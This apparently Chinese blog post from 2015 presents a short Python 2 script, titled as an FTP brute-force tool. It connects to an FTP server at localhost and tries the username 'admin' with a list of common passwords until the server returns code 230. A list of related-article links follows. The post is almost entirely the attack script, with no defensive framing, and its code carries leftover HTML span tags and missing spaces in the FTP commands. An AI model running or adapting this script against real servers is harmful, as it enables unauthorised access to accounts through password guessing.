用Python实现FTP暴力破解
2015-12-09 22:22
525 查看
#!/usr/bin/env python #-*-coding:utf-8-*- #用Python实现FTP暴力破解 #网络编程 #套接字socket #BSD UNIX的进程通信机制 import socket,sys def Connect(username,password): <span style="white-space:pre"> </span>s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) #流失socket for TCP <span style="white-space:pre"> </span>print"[*]Tring"+username+":"+password <span style="white-space:pre"> </span>s.connect(("127.0.0.1",21)) <span style="white-space:pre"> </span>data=s.recv(1024) <span style="white-space:pre"> </span>s.send('USER'+username+'\r\n') <span style="white-space:pre"> </span>data=s.recv(1024) <span style="white-space:pre"> </span>s.send('PASS'+password+'\r\n') <span style="white-space:pre"> </span>data=s.recv(3) #3个字节 <span style="white-space:pre"> </span>s.send('QUIT\r\n') #断开 <span style="white-space:pre"> </span>s.close() <span style="white-space:pre"> </span>return data if __name__=='__main__': <span style="white-space:pre"> </span>username="admin" <span style="white-space:pre"> </span>passwords=["admin","123456","root","admin123","guest","5201314","toor"] <span style="white-space:pre"> </span>for password in passwords: <span style="white-space:pre"> </span>attempt=Connect(username,password) <span style="white-space:pre"> </span>if attempt=="230": <span style="white-space:pre"> </span>print "[*]password fund:"+password <span style="white-space:pre"> </span>sys.exit(0)
相关文章推荐
- Python爬虫简单的demo
- python中struct模块及packet和unpacket
- python 与hadoop之pyhdfs的使用
- Wing IDE 5 for Python 安装及破解方法
- PYTHON 3.1 快速导览 – 内建字节数组型态 (BYTEARRAY)
- python爬取并计算成绩
- Python的网页爬虫&文本处理&科学计&机器学习&数据挖掘工具集
- spark连接mysql数据库(python语言)
- python拾遗(一)前言
- python:unittest(测试框架)
- codecombat之地牢关卡Python代码
- windows安装python问题
- python和php常用的时间处理
- python开源项目及示例代码
- Python——迭代器和解析(2)
- python-变量命名规范
- python爬取网易评论
- python splinter chromedriver下载地址(国内可用)
- 初次感受python的力量
- python从控制台输入